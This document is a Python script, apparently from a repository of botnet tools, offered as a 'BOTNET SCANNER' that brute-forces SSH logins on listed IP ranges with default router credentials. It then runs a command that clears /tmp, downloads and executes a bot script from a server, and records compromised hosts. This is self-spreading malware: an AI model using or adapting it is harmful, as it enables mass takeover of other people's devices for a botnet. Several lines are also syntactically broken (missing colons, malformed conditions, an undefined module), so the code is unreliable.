Path: blob/master/Botnets/Scanning/AUTOSCANNER/B1narybs.py
5038 views
#!/usr/bin/python1import sys, socket, threading, time, paramiko, random23print "###############################################################################"4print "# ___ __________ ____ _______ _____ _______________.___. ___ #"5print "# / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\ #"6print "# \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/ #"7print "# | | \ | / | \/ | \ | \\____ | #"8print "# |______ / |___\____|__ /\____|__ /____|_ // ______| #"9print "# \/ \/ \/ \/ \/ #"10print "###############################################################################"11print " [~] BOTNET SCANNER [~] "121314StartScan = random.choice(["Start Infecting Routerz."])15raw_input=('Press <Enter> to'+StartScan)1617#ENTER YOUR SERVER IP18serverip = "0.0.0.0"1920#ENTER YOUR COMMAND/WGET LINE21cmd = "cd /tmp; rm -rf *; wget -q http://0.0.0.0/gtop.sh; chmod +x gtop.sh; sh gtop.sh; rm -f *"2223#ENTER YOUR BOTNAMES HERE24botnames = [25"gtop.sh",26"jackmyarmv6",27"jackmyi586",28"jackmyi686",29"jackmymips",30"jackmymipsel",31"jackmypowerpc",32"jackmysh4",33"jackmyx86"34]3536#USERNAME LIST37userlist = ['root', '', 'toor', 'admin', 'user', 'guest', 'login', 'changeme', '1234', '12345', '123456', 'default', 'pass', 'password', '3comcso', '', 'RIP000', 'admin', '', '1234', 'admin', '', '8mb1t3M3', 'admin', '', 'admin', 'admin', '', 'c0nf1gur3m3', 'admin', '', 'cableroot', 'admin', '', 'changeme', 'admin', '', 'motorola', 'admin', '', 'password', 'admin', '', 'Password0', 'Administrator', '', 'admin', 'adminttd', '', 'adminttd', 'comcast', '', '1234', 'cusadmin', '', 'highspeed', 'D-Link', '', 'D-Link', 'debug', '', 'synnet', 'guest', '', 'guest', 'hscroot', '', 'abc123', 'manager', '', 'manager', 'monitor', '', 'monitor', 'pi', '', 'raspberry', 'PW', '', 'unkown', 'recovery', '', 'recovery', 'root', '', '1234', 'root', '', '123456', 'root', '', 'admin', 'root', '', 'password', 'root', '', 'root', 'root', '', 'toor', 'security', '', 'security', 'storwatch', '', 'specialist', 'super', '', '5777364', 'superadmin', '', 'secret', 'superman', '', '21241036', 'support', '', 'support', 'tech', '', 'tech', 'technician', '', 'T!m3W4rn3rC4bl3', 'test', '', 'test', 'ubnt', '', 'ubnt', 'UN', '', 'unknown', 'user', '', 'user', 'volition', '', 'volition', 'vt100', '', 'public', 'VTech', '', 'VTech']3839#PASSWORD LIST40passlist = [ 'root', '', 'toor', 'admin', 'user', 'guest', 'login', 'changeme', '1234', '12345', '123456', 'default', 'pass', 'password', '3comcso', '', 'RIP000', 'admin', '', '1234', 'admin', '', '8mb1t3M3', 'admin', '', 'admin', 'admin', '', 'c0nf1gur3m3', 'admin', '', 'cableroot', 'admin', '', 'changeme', 'admin', '', 'motorola', 'admin', '', 'password', 'admin', '', 'Password0', 'Administrator', '', 'admin', 'adminttd', '', 'adminttd', 'comcast', '', '1234', 'cusadmin', '', 'highspeed', 'D-Link', '', 'D-Link', 'debug', '', 'synnet', 'guest', '', 'guest', 'hscroot', '', 'abc123', 'manager', '', 'manager', 'monitor', '', 'monitor', 'pi', '', 'raspberry', 'PW', '', 'unkown', 'recovery', '', 'recovery', 'root', '', '1234', 'root', '', '123456', 'root', '', 'admin', 'root', '', 'password', 'root', '', 'root', 'root', '', 'toor']4142#DEFAULT RANGES43ipranges = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126","125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180","122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118",]4445if sys.argv[3] == 'best':46passwords = [userlist+ ":" +passlist]47if sys.argv[3] == '1':48passwords = [ "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] #Slow but effective49if sys.argv[3] == '2':50passwords = [ "root:root", "admin:admin", "ubnt:ubnt" ] #faster with decent execution51if sys.argv[3] == 'perl':52passwords = [ "pi:raspberry", "vagrant:vagrant" ] #perl scanner53if sys.argv[3] == 'ubnt':54passwords = [ "ubnt:ubnt" ]5556def IPRange(start_ip, end_ip):57start = list(map(int, start_ip.split(".")))58end = list(map(int, end_ip.split(".")))59temp = start60ip_range = []6162ip_range.append(start_ip)63while temp != end:64start[3] += 165for i in (3, 2, 1):66if temp[i] == 256:67temp[i] = 068temp[i-1] += 10169ip_range.append(".".join(map(str, temp)))7071return ip_range7273class sshscanner(threading.Thread):74def SelfIP (self, ip):75threading.Thread.SelfIP(self)76self.ip = str(ip)77global passwords78def run(self):79x = 180while x != 0:81try:82username=(userlist)83password=(passlist)84port = 2285s.close86s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)87s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)88s.settimeout(3)89s.connect((self.ip, port))90s.close()91ssh = paramiko.SSHClient()92ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())93dobreak=False94for passwd in passwords95if ":n/a"96password=""97else:98password=passwd.split(":")[1]99if "n/a" in passwd:100username=""101else:102username=passwd.split(":")[0]103try:104ssh.connect(self.ip, port = port, username=username, password=password, timeout=3)105dobreak=True106break107except:108pass109if True == dobreak:110badserver = True111stdin, stdout, stderr = ssh.exec_command("echo blackjesus")112output = stdout.read()113if "blackjesus" in output:114badserver=False115if badserver == False:116os.system("echo -e " +username+ ":" +password+ ":" +self.ip " >> vuln.txt")117print "\033[32mINFECTING:" +username+ ":" +password+ ":" +self.ip+ "\033[0m"118ssh.exec_command(cmd)119time.sleep(3)120ssh.close()121if badserver == True122ssh.close()123except:124pass125x = 0126IP_Range = IPRange("" +sys.argv[1], "" +sys.argv[2])127for IP in IP_Range128try:129t = sshscanner(IP)130t.start()131except:132pass133134